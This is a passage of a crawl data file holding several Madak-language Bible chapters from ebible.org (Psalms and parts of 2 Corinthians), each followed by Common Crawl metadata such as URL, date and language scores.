levelinga ua lavalabat atdik diga tere avolo i ridik. 4 Ata xo lok pepe i na at laxamdak mi laxaalik atnedik. Ataba tere i ri mo lavaola dibap tavasu melemu mumu mo lolos at Leeme Silok, la leven gugu silok teren la levempanga maraanu ua neni gara lok pam i. 5 Neni ga raba leventaangas manmanton mi Laulis Linga ren ti limixin me Israel, nedi livipisik li at ne Jakop. Neni ga paase alolos i ri lavalabat atnedik kusu dinaba anasa laxamdak mi laxaalik atnedi mi Laulis Linga, 6 kusu mo lavaola melemu dinabakleklen i la dinaba tere avolo box i ri luvutnitna di. 7 La mumu mun na langas, dinaba nunu saga rinotno at ne Moroa la dinoxom domampe lempanga neni garak lok pam i, ketla diba mumu asu amisik Laulis Linga ren. 8 Di noxok lok ngan lavalabat atnedi ua diga gagang linga, la digang tonga xepe amisik levelinga at ne Moroa. La lesepsep sogo atnedi rin goxo lolos la di goxo ruturun amisik tin.\n9 Leme Epraem, diga ruuna laxanbanara eburu mi levesoso, diga sixiro at laaleng at leesep. 10 Diga los polo lekabus atnedi mi ne Moroa. La di goxopara na ronga res at Laulis Linga ren. 11 Diga domampe lempanga neni ga lok pam i, i ngan mo lempanga sangsangu ni ga lox i ro melamgo atdi. 12 Ap mo levenaleng lavalabat atnedi diga reven tinotno ne Moroa gak lok lempanga sangsangu ro at lemelubu ro Soan ua ik lok keneng at lenep silok Isip. 13 Neni ga lox epeseves loxontas la ga lam avolo di ren. La ni ga lok mo lunep tas ga tu ngan luvat kapkapla. 14 At levenaleng kangking, neni gam lam di mi lovotakabu la at lengkanimin ni gam lam di mi langangao at laxao. 15 Neni gak lok pagam lemparuat to at lamatbin la gam taba di mi levendan boro xa xopok at lebelen laxangka. 16 Neni ga lok ladan kusu na sen su boro xeneng at lavaruat la ga lok mo ladan ga sesen ngan lavatdan silok.\n17 Ketla nedi leme Israel di goxo xap tik lok leveloklok kakapmek ti ne Moroa, la digang tonga viribang at Leeme Avolo ro at lamatbin. 18 Diga lox asuusu rinotno i xusu dina lok tong ne Moroa keneng at levempapaase lolos atnedi ri leveluxa salai diga vavara rin. 19 Diga tere asu at ne Moroa xeretna, \"Kereva, i epovo ne Moroa naba raba dik mi teveluxa de at na lamatbin? 20 I ruturun do neni ga viksa lavaruat, la ladan ga rem soobang su ngan ladanut. Ketla kereva, i epovo bok do neni na raba bok nema mi lengkongkide eburu mi tempanga lomlomon?\"\n21 Kuren la Leeme Silok ga ronga di la ga belemamao aleng di. La neni ga lox asongot di mi laxao, la lebelemamao ren tinedi ga sisilok. 22 Atla di goxo nunu saga ren la di goxo nunu bok do neni naba lok tatao di ro at lamatbin. 23 Ketla neni ga vaase ri laxalibet no vana la ga tong i ri laramusmaragu ren kusu na rem suang. 24 Ap mo levenaleng neni ga raba di mi lamaana boro vana at laxalibet. At na mun langas ni ga lox asu lempanga anan tinedi ri anan.\n25 Kuren la diga anan leveluxa at lubung angelo, la ne Moroa ga lox epovo axap lavavara atnedi. 26 Mi lolos teren neni ga lok bok lemere manman boronak kusu nat mas. Ni ga lox araut lamatmas at lemere manman boroxun, 27 la ga raba asu laxampixa ukopok ti limixin la diga buaang aleng ngan laxanit kapulang nou loxon. 28 La digam subu ro xantubu ap mo lemenemen la kangkan laraogu kadis. 29 Kuren la limixin diga vanan la diga anan mais. Ne Moroa ga raba nedi mi leveluxa ua nedi diga vavara i. 30 Ketla di goxok lox axap ba langaongao anan atnedi, keke i do move digara vanan. 31 Kuren la ne Moroa ga belemamao di la ga sev amet nedi luvuraau lolos avukat at leme Israel.\n32 Ketla limixin di goxo doma mu i na levempanga la move digak lok leveloklok kakapmek. Lempanga sangsangu bok di goxo doxoma mu i la diga ke xepe lununu saga ren. 33 Kuren la ne Moroa ga lox axap soso mun leventooro atnedi mi langsangan lumumuat la levenaleng at lorooro atdi ga xap kot. 34 At lengkonaleng neni gap sev amet lentaba atnedi, nedi mo lentaba diga ba tepukus taba i. Diga ngaleeng la diga ngising tin mi lorooro axap atnedi. 35 Diga doma ka i do ne Moroa neni Lurutu See Pe at lorooro atnedi, la do mo Lanaraavuk ga vot ngan Laradi Loklok Tooro atdi. 36 Ketla levelinga atnedi ga umsu mi laxaxarang la goxopmen teruturun at levelinga atdi. 37 Di goxo ruturun tin, la di goxo mumu asu lekabus diga lox i eburu min.\n38 Ketla ne Moroa ga lox asuusu lebelen tuntun tidi atla nedi limixin teren. Neni ga doxoma xepe leveng kakapmek atnedi la ni goxo sev amet nedi. Buaang laxanaleng neni gam tebeng amlong lumukmusak teren la gak lox asi mo lolos ap mo lebelemamao silok teren. 39 Neni gakleklen i do nedi limixin mun ua neni ga rudum nedi mi laxangka, la lorooro atnedi goxo babaalom. Diga lok ngan mun lamanman it mas polo la ira onon tino nga.\n40 Digang tonga viribang solo ren to at lamatbin. La buaang mene nga laxanaleng digak lox antun i. 41 La digak lok tong pen amu amgo ne Moroa la digak lox abulu i, keke i do neni ne Moroa la Laradi Melemelengan me Israel. 42 Diga doma aie i do lolos teren i silok aleng, la mo bok laaleng ua neni ga lox asepsu di basinge limixin munepen minedi, 43 la ga lok bok levempanga sangsangu silok to at lemelubu ro Soan keneng at lenep silok Isip.\n44 Neni ga vuk gili laradan ti lok ngan lada, la leme Isip di goxo ruuna tevendan ti inin. 45 Neni ga riki abeles laxanulang ukeneng tidi ua ga raba nedi mi losongsongot silok, la laxangkoak ua ga lok kapmek levenmenemen atdi. 46 Neni ga riki asu laxasixu ri anan levempeeve atnedi la ga lok kapmek axap leventaamang atnedi. 47 Neni ga sev amet larauna vaen mi lavatbet uat, la ga sev amet bok larauna angnu mi langsangan lumudut. 48 Neni ga sev amet laxanbulumaxao atnedi, mi lavatbet uat, la ga sev amet laxasipsip atnedi mi lavanga ga mam. 49 Ni ga lox abaava rinotno di at loxonaleng ni ga soobang asu lebelemamao sepsep teren, mo gat pot ngan ta laradi sepsev amet tadi. 50 Neni goxo ranga alis lebelemamao ren kopla gita lox asepsu nedi leme Isip, ketla ga sev amet di mi levenanmeres sepsev amet. 51 Neni ga sev amet laxamdak avot at lara koenasun axap me Isip.\n52 Melemu neni ga lam asu limixin teren me Israel ngan laradi loklok tatao sipsip la ga lam avolo di ro lamatbin. 53 Neni gam lam aratao avukat di la di goxok marat. Ketla laras ga repit pavaa limixin munepen minedi la diga met axap pam. 54 Neni ga lam li di ro at lenep kangka xaala ren la uto at levengkaana no neni ga los kaka i. 55 Neni ga saksu mi limixin mego at levenaleng limixin teren diga pubeles. La ga vesinga laxangka atnedi xantubu at levenabung mixin me Israel, la gam taba limixin teren mi laramenemen atnedi limixin mego.\n56 Ketla leme Israel diga ronga viribang at Lanaraavuk ne Moroa, la diga lok tong pen i mi leveloklok atnedi. Digoxo ronga res at Laulis Linga ren, 57 ketla diga ronga viribang la di goxo ruturun tin ngan lavalabat atdi di goxo ruturun tin. Digak lok ngan lososo xakauk ixo sixit akmokso. 58 Digak lox abelemamao i atla diga lotu saparap levenmoroa xaxarang. Digak lox abelengatngas tinotno i mi laxampoovo moroa atnedi. 59 Moroa ga belemamao at loxonaleng ni ga ven mo lempanga. Kuren la ni ga sok sisixe axap tino limixin teren. 60 Neni ga on basinge rino loogu kadis teren to Silo, ni lanemen ua neni gak lok kantubu at limixin teren. 61 Neni ga siam avolo limixin munepen minedi xusu dina sak paxat ka lobokis at lekabus, neni mo loklok poovo at lolos la lisisixam teren. 62 Neni ga belemamao limixin akmokso ren la ga ke xepe di xusu limixin munepen midi nabap sev amet di. 63 Luvuraau atlok diga remet at levenesep, la luvuraau rixin di goxo ruuna bok ba tavatlok kusu tidi ri vepot atdi. 64 Lavamaasa diga remet keneng at levenesep, la limixin munepen digap sep pepe lavakin atnedi lavamaasa xusu dinoxok saxaanu.\n65 La soso mun, Leeme Silok ga beleku kaxat, ga lok ngan ta do ni ga rakdu tuang ngan boro at lanunga. Neni ga lox agagas lodoxoma ren ngan leeme lolos i inin laxadan vaen kusu ti gagas ti esep. 66 La neni ga sak tup tinotno mi limixin munepen min la digak lok mamangan aleng amisik. 67 Ketla neni ga lox abulubun kepe livipisik li at ne Josep, nedi lubung mixin me Epraem. Ni goxo soxolik ka di. 68 Ketla ni ga soxolik ka manga lubung mixin me Juda mi lakaana Saion, mo loxot ua lebelen ga tu rinotno i. 69 La neni ga vaxaru loogu laplavang tin go, i lok ngan lemenemen aulis teren noxun pana at laxalibet. Neni ga lox atmatkun tinotno i ngan at na xa lavatkangka axap, la gak lox alolos i kusu naba nemen avukat amisik kuren. 70 Neni ga soxolik ka lasaxaruki ren ne Devit ngan loorong. Ni ga lam asu xaka i ro at loxot anan at laxasipsip, 71 ap mo loxot ua neni ne Devit gak lok tatao laxasipsip teren. La ne Moroa ga vaxaxis li i ngan loorong me Israel, ga neni laradi loklox aratao at limixin at ne Moroa. 72 Devit gak lok tatao nedi la goxo reven kepe tepentaba la neni gam gomgonga nedi mi lodoxoma avukat teren.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/PSA078.htm","date":"2022-01-16T10:28:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320299852.23\/warc\/CC-MAIN-20220116093137-20220116123137-00439.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":1633,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nPol Ga Vaase Pe At Lugugu Ren\n1 * 1 Ko 2:3Nenia ne Pol. A sing nimi, mi mo loklok mumulus la loklox atnaasan at ne Iesu Karisito. Do nia a nemen eburu minimi, mi lok do nenia ne Pol ak lok mumulus mene. Ket do a nemen paxalom basinge nimi, mi lok do nia a paase lolos tinimi. 2 * 1 Ko 4:21A sing nemi do luruptuvuk atnimi na lox avukat mun kusu at laaleng nenia ana vot pasa nimi, noxo epovo bok ba xusu ana vaase lolos tinimi mi lolos axa rak. I ngan nia a doma i do ana lox asuusu i rinedi leventaba luvuttadi di doma i do nema map tuvuk ngan luvuttadi at na lavatbung menemen. 3 I ruturun do mat pas at na lavatbung menemen, ketla maxo vesep mi levendoxoma mun at limixin at na lavatbung menemen. 4 * Ep 6:13-17Levempanga esep atnama ri esep at na lavatbung menemen kopmen mede at na lavatkangka. Ketla ni i ruuna lolos boro at ne Moroa la i epovo xusu ti sele utut kepe lengkot kitkis at laradi munepen midik min. 5 Ma sesele utut kepe leventetere xaxarang la levendoxoma silok i lok petpes ti lakleklen at ne Moroa, la ma baba gili levendoxoma axap at limixin kusu dina ronga res at ne Karisito. 6 * 2 Ko 2:9La melemu at loxonaleng mira ronga res nunuan axap, maba gagas ba xusu mana lok li tevenmumuat atnedi dik lok kantubu atnemi la ding tonga xepe.\n7 Nemi mi ven mumu levereven at labantuxu at laradi la kopmen mina reven lorooro axap teren. La do tara i doma ruturun i do neni at ne Karisito, i lox avukat do neni na xasep do nema bok at ne Karisito xerekngan i. 8 * 2 Ko 12:6; 13:10Nia axo mangan do nia ana lox aru ia mumu lugugu rak ti tong asu Lagale Lavavang, Leeme Silok ga raba nama min. Mo Lagale Lavavang, no Leeme Silok ga raba i xusu ti lox alolos labaroonan atnimi la kopmen ti lok kapmek nimi. 9 Nia a xopara i do mo lodoxoma na ravasu atnimi do nenia aba lox amarat nimi mi lempoang tarak. 10 Mila leventaba di lok do, \"Levempoang at ne Pol i lolos la i mumuat aleng. Ket do neni na nemen eburu midik, neni nabasko la levempapaase ren noxo mumuat solo.\" 11 * 2 Ko 13:2,10Luvuttadi xerepmo dina xasep nunuan do levempanga salai ma vaase i xeneng at lovoang, kopmen na lok petpes ti levempanga maba lox i at loxonaleng mabak lok eburu minimi.\n12 * 2 Ko 3:1; 5:12Maxo lok do mana mii poovo nema ri leventaba la mana ila mumu nema rinedi leventaba di lok do di silok aleng. Ketla di soxovo lorooro atnedi mi leventaba atdi xa, la dira ila mumu nedi ri leventaba atdi xa, nedi xopmen dinaklen tempanga. 13 * Ro 12:3Ketla nema ma noxo paase asilok nema mumu levempanga vetpes, naba epovo mun mi lugugu ne Moroa ga raba nema min, la mo lugugu i vung kimit bok nimi. 14 Nema ma epovo na lox aru nema mumu nimi, mila nema maga vot dom atnimi xusu mana tong asu Lagale Lavavang at ne Karisito rinimi. 15 * Ro 15:20La kopmen mana lox aru nema mumu leven gugu at leventaba vetpes. Ketla lavavara atnema do mo lununu atnemi na sisilok, la manaba lok bok buaang teven gugu xantubu atnimi. 16 * Gu 19:21La melemu ren nema maba vavang mi Lagale Lavavang to at levennep kangka vetpes i nemen paxalom basinge nemi. Mila ma xopara na gugu at lengkot ua lentaba vetpes diga gugu vam go la mana lox aru nema mumu leven gugu leventaba vetpes digara lok pam i. 17 * 1 Ko 1:31I ngan Lovoang Kaala i tong i xeretna,\n\"Do tara neni laradi loklox aru, neni nak lox aru Leeme Silok ne Moroa.\" Jer 9:24\n18 * 1 Ko 4:4-5Moroa xopmen na siam ka mo laradi ik lox aru axa i, ketla neni i siam ka mo laradi, Leeme Silok ne Moroa ik lox aru i.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/2CO10.htm","date":"2022-01-19T18:54:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301488.71\/warc\/CC-MAIN-20220119185232-20220119215232-00687.warc.gz","language":"mmx","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000081062316895}","num_words":632,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nLaramtaba Ri Limixin Pakpakes To Judaia\n1 * Ro 15:26Luvutnetak mi luvurinuk. Ma vara i do minaklen avukat letaba nabalamu at ne Moroa ga lox asuusu i ri limixin at lotu ro Masadonia. 2 Digak lok keneng at levenmumuat ga lolos aleng, ketla lomomo atdi ga silok aleng tinotno. Kuren la digak lik kat asu rinotno mo leventamtaba atdi, keke i do nedi limixin pakpakes mun. 3 A tong tuturun i rinimi do diga raba silok mavana at levempanga atdi diga ruuna i. At lodoxoma xusuk mun, 4 * 2 Ko 9:1-2diga sing lolos nama xusu mana siam kusu nedi bok dina raba teventamtaba ri limixin at ne Moroa to Judaia, 5 la kopmen anaa xusuk mun i. Avot diga raba lorooro atnedi ri Leeme Silok, la at lavavara bok at ne Moroa diga raba bok lorooro atnedi ri ronga res atnama.\n6 Kuren la maga sing ne Taitas, mo ga vaxaru ka lugugu ti gagas mo laramtaba xantubu atnimi, kusu na lox epasum na lugugu la na lok tooro nemi ri lox axap na lugugu at labalamu. 7 * 1 Ko 1:5; 16:1-2Mip novos aleng at levempanga nemi mi ruuna i, ngan lununu la laramtaba ti paase asu levelinga at ne Moroa. La at lakleklen bok atnimi, la keneng at lomomo atnimi ri lok tooro, la keneng bok at labalamu atnimi rinama. Kuren la mina lolos kusu minak lox aplivi na lugugu tik lox agagas li mo laramtaba.\n8 A noxo lok li teventaangas linga xusu miba mu asu i. Ketla a paase mumu leventamtaba limixin petpes diba raba i. Kerepmo ana lok tong mun labalamu atnimi do i silok aleng ti labalamu at limixin petpes kopla xopmen. 9 * Mt 8:20; Pl 2:6-7Nemi mikleklen letaba nabalamu at Leeme Silok atdik ne Iesu Karisito. Neni gap novos aleng, ketla ti luvukat tinedik neni ga ravasu ngan laradi banbalo, kusu mibap novos.\n10 Lodoxoma rak at nai lavanga xeretna. I lox avukat tinimi do mina lox axap lugugu mumu letaba miga vaxaru ka i at no lamaares ga xap. Nemi avot tinotno migamgo, la kopmen do miga lok poovo mene i, ketla lebelen nimi ga vara aleng kusu mina lox i. 11 Kuren la mina lox angtang mi mo lugugu, la mina lok axap avukar i. Lebelen nimi na xatu xusu mina lox axav i, kerekngan levendoxoma atnimi, la mina lox i mi nom levempilas mi ruuna i. 12 * Mk 12:43Mo do lebelen nimi naplivi ri raba, ne Moroa ba siam ka laramtaba atnimi i epovo at levempilas mi ruuna i la kopmen at levempilas mixo ruuna i.\n13 Nia axo vara i do ana ke atnaasan teventaba la nemi xusuk mun mina xip mo lugugu at laramtaba pilas ngan laknixip silok. Ketla a vara i do nemi eburu midi mina epovo ela mun. 14 * 2 Ko 9:12At na levenaleng mo lapnovos atnimi, i epovo xusu mina lok tooro di min. La do melemu mina xis pakpakes manga, dinaba lok tooro nimi mi lapnovos atdi. Mo do mina mu asu i na, loklok tooro ela naba epovo mun kantubu atnimi limixin at nom lumenemen. 15 I ngan Lovoang Kaala i tong i do,\n\"Laradi gap naba solo, ni goxo ruuna ka tempanga ga volo aleng. La mo laradi ga lili lixilik, ni goxok pakes ti tempanga.\" Pas 16:18\nTaitas Eburu Mi\nLarapen Tangas Teren\nLarapen Tangas Teren\n16 Ma tong avukat ti ne Moroa mila neni ga lox epovo box i do na lok li mo lebelen angtang keneng at ne Taitas kerekngan nema maga ruuna i xusu ti lok tooro nimi. 17 La kopmen ap mo xusuk mun do neni ga siam ka lisingising atnama, kusu ri vot pasa nimi la na lok tooro nimi. Ketla at lavavara rinotno xa ren la neni nabat pas kusu na vot pasa nimi. 18 Maba riki ne Taitas eburu bok mi lara neton nedik, mo limixin di lok ngangao aleng teren to at laraogu lotu axap mumu lugugu ren ti tong asu Lagale Lavavang. 19 La kopmen anaa xusuk mun i, limixin at laraogu lotu diga soxolik ka i xusu na emu eburu minama uto Judaia la nap kip laramtaba. Na laramtaba naba xip aurut laasen at Leeme Silok, la naba lox asuusu box i do ma vara aleng i do mana lok tooro. 20 Maba lok tatao avukat laramtaba xusu tara noxo vaase mumu nama mumu na laramtaba silok nema mabap kiv i. 21 Lodoxoma atnama xeretna, ma vara aleng i do mana nemen manmanton, la kopmen to at lemeren Leeme Silok kusuk, ketla to bok at lemeren limixin.\n22 La maba riki aonon bok neton nedik petpes eburu midu. Buaang levenaleng neni gara lox asuusu vam i rinama do i gagas amisik kusu na lok tooro. La monga i lolos aleng ti lok tooro mila lununu ren i rem saga atnimi. 23 La ti ne Taitas, neni lara bok atarak la i gugu eburu minia xusu ti lok tooro nimi. La tinedu luneton dik, nedu duba emu eburu min saparap nimi. Nedu du ru katling laraogu lotu, la loklok atdu i lox asuusu loklok ngangao ri ne Karisito. 24 * 2 Ko 7:13-14Kuren la mina lox asuusu labalamu atnimi ridi, kusu laraogu lotu axap dinaba xasep do levelinga atnama ti emi asu minimi i ruturun.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/2CO08.htm","date":"2022-01-29T01:08:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320299894.32\/warc\/CC-MAIN-20220129002459-20220129032459-00424.warc.gz","language":"mmx","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000090599060059}","num_words":839,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"67\nLoxompixan Totong Avukat\n1 Moroa, una lox asuusu lebelen tuntun tinema la una lox anarong bok nema. Una lox asuusu lebelemulus taram tinema, 2 kusu limixin at lavatbung menemen axap dinabaklen lodoxoma ram, la kusu limixin at larabung mixin axap dinabaklen i do u lox avukat la uk lox asepsu limixin taram.\n3 O Moroa, naba lox avukat do limixin at levengkot axap dina emi asu minu. La naba lox avukat tinotno do larabung mixin axap dina emi asu minu! 4 Naba lox avukat do limixin axap boro at levenabung mixin petpes dina sosoro la dinak pixan mi lomomo, atla nu u viila mumu loklok at limixin mi lodoxoma mokmokso la levelinga ruturun, la um gomgonga limixin at larabung mixin axap at lavatbung menemen.\n5 O Moroa, naba lox avukat bok do limixin dina emi asu minu. I epovo rinotno do limixin axap dina emi asu minu! 6 Laxangka ira lox asu vam leventaamang mukun teren. Moroa, ni ne Moroa atnedik ira lox anarong pam dik.\n7 Moroa ira lox anarong pam dik, la naba lox avukat do limixin at levengkot axap dinam taba asinorong i.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA067.htm","date":"2022-05-20T01:09:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00247.warc.gz","language":"mmx","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000100135803223}","num_words":179,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"47\nLamgomgo Pana At Lempanga Axap\n1 Nemi limixin axap at na lavatbung menemen, mina pasa tingen mi lomomo! Mina emi asu mi ne Moroa mi livikpixan lolos! 2 Leeme Silok, ni Leeme Avolo. Dik atana lok ngangao aleng teren. Neni Loorong Silok, im gomgonga na lavatbung menemen axap. 3 Ni ga raba dik mi lolos ti sak tup mi limixin munepen minedik. Ga lox asilok nedik kusu atam gomgonga levenabung mixin petpes. 4 Neni ga lok katling ka na lenep kangka atnedik livipisik li at ne Jakop ua tana nemen teren. Ni i balamu limixin teren mo di lok momo mi lenep kangka atnedi. 5 Moroa i urut utoxun pana at loxonin orong teren. Limixin di ven i la dip kup silok aleng mi lomomo la lerengteng silok at laratu. 6 Mina vixan emi asu ri ne Moroa, mina vixan emi asu ri Loorong Silok atnedik! 7 Moroa ni Loorong Silok ti limixin axap at na lavatbung menemen. Mina emi asu min mi livikpixan!\n8 Moroa it kis to at loxonin orong teren i melemelengan, la im gomgonga larabung mixin axap. 9 Luvuttadi amgomgo atdi di vot eburu mi limixin at lo Moroa at ne Abaram. Lolos teren i volo lolos atnedi axap limixin esep at na lavatbung menemen. Ni Loorong i silok aleng ti lavaorong axap.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA047.htm","date":"2022-05-16T05:48:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00345.warc.gz","language":"mmx","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000097751617432}","num_words":208,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"75\nMoroa Neni Laradi Rongtonga Linga\n1 O Moroa, ma tong avukat tu, ma tong avukat tu! Ma tong aonon lisisilok taram atla u silok aleng, la ma tong aonon bok levempanga maraanu ugara lok pam i.\n2 Moroa ga vaase xeretna, \"Nia ara vit li vam laaleng ti leete, kusu anaba ila loklok at limixin la anoxo tong asu levelinga xaxarang. 3 Keke i do levempanga axap di ruuna lorooro, dina dede mi lanmarat, la lavatbung menemen nang nengne, ketla nenia anabak lox aru lolos laamkumkun at na lavatkangka. 4 A paase ri limixin tongtonga xepe xusu dinak lok ngangao la di noxo simi aurut di. 5 La dina xap ta di rik lox aru axa di la na xap bok tit las di.\"\n6 Mo laradi rim gonga leete, noxo ravasu do boronak kopla borois, la noxo ravasu do borou xopla boroxun. 7 Neni axa ne Moroa naba ila loklok at limixin la ni naba riki xepe lentaba la na vuxaxis avukat lentaba. 8 Leeme Silok im tebeng lavanga runtu dan to at lekngen, la i umsu mi laxadan vaen lolos mo i ru katling lebelemamao ren. Neni i soobang asu i, la limixin kapmek di inin i. Di inin asi rinotno i se at lengkootu avit.\n9 Ketla nenia noxo xap at lavapaase asu levelinga mumu Lomoroa at ne Jakop kopla anak pixan emi asu rin. 10 Neni naba ba koxorop lolos at limixin kapmek, ketla lolos atnedi di ruuna loklok manmanton naba sisilok.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA075.htm","date":"2022-05-16T11:08:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00756.warc.gz","language":"mmx","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000087022781372}","num_words":236,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23\nLisingising At Laradi Loklok Tatao Sipsip\n1 Leeme Silok, ni laradi ik lok tatao ia ngan laradi ik lok tatao levesipsip teren. Kuren la a ruuna ka axap levempanga ak pakes tin. 2 I lox amdi ia ro at lenep kangka i ruuna levempivilis avukat kusu ana lok mamana ren, la i lam kaka box ia uto at laradan i sesen atnaasan kusu ana inin. 3 Neni im taba ia mi lolos maxat. La im lam ase ia keneng at larangas mokmokso, ngan ni gara vaase ali vam i. 4 Keke i do ana vas beles keneng at langsangan lamain bonot, nia noxo marat. Leeme Silok, u nemen eburu amisik minia, luvuukup mi lakdak taram ik lox amenemen amisix ia.\n5 U lok gagas li leluxa silok tia, kuren la limixin munepen minia, dinaba ven ia, dola una seega rangarang ia ngan laradi silok. La unantu aumsu aleng lavanga inin tarak. 6 Aklen i do loklok nunuan mi labalamu ram naba kuxun amisik keneng at lorooro axap tarak, la loogu ram naba lok ngan loogu aulis tarak at levenaleng axap nia anaba rooro ren.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA023.htm","date":"2022-05-16T11:03:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00759.warc.gz","language":"mmx","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000003695487976}","num_words":178,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"111\nLeemi Asu Ri Leeme Silok\n1 Leeme asu ri Leeme Silok.\nAnaba tong avukat ti Leeme Silok mi labalak axap kantubu at lovotpot buru at limixin manmanton teren. 2 Leven gugu at Leeme Silok i nunuan aleng, la limixin axap di lok momo min, dim doma solo i. 3 La lempanga neni i lox i, i lox aurut laasen kaala ren la i lox asuusu lolos silok teren. La loklok manmanton teren naba nemen lexen.\n4 Neni ira lok pam nedik kusu atabam doma amisik mo lempanga nunuan neni ik lox i. Leeme Silok neni ik lox anare ka limixin la i umsu mi lebelen tuntun tidi. 5 Neni mun im taba leveluxa, tinedi dim taba asinorong i. La neni im doma amisik lekabus neni ga lok pam i eburu mi limixin teren. 6 Neni ira vaxase vam limixin teren mi lolos at leven gugu ren keretna. Ni ga raba nedi limixin teren mi levennep kangka at levenabung mixin petpes.\n7 Leven gugu axap at lukngen i nunuan la ik mokso. La kopmen taxaxarang keneng at Laulis Linga ren. 8 Laulis Linga naba nemen lexen, mila mo levelinga ga laa boro at Leeme Silok la i ruturun la in manton tino. 9 Neni xusuk mun Laradi Loklox Asepmus ti limixin teren, la ga vaxaxis aulis mo lekabus teren kusu naba nemen amisik. La laasen mun teren i melemelengan la i silok aleng. 10 Loklox asinorong ti Leeme Silok, neni lurutu kaxat ti levendomdoma nunuan. La im taba lodoxoma mokmokso rinedi ding tonga res at levempapaase ali ren.\nLeemi asu rin naba nemen amisik la kopmen tekavaxap teren.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA111.htm","date":"2022-05-20T00:04:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00247.warc.gz","language":"mmx","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000094175338745}","num_words":257,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"134\nLorotoro Ri Emi Asu Mi Leeme Silok\n1 Nemi axap lavaanat saxaruki at Leeme Silok, ude nimi la mina emi asu min. Nemi ua mi gugu ro xeneng at loogu laplavang at lengkanimin, mina emi asu min. 2 Mina xip aurut kikngen keneng at lisingising to xeneng at loogu laplavang, la mina emi asu mi Leeme Silok.\n3 A sing Leeme Silok i nemen de Saion la ga rudum li laxalibet mi lavatbung menemen naba lox anarong nemi!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA134.htm","date":"2022-05-25T22:33:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662594414.79\/warc\/CC-MAIN-20220525213545-20220526003545-00312.warc.gz","language":"mmx","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 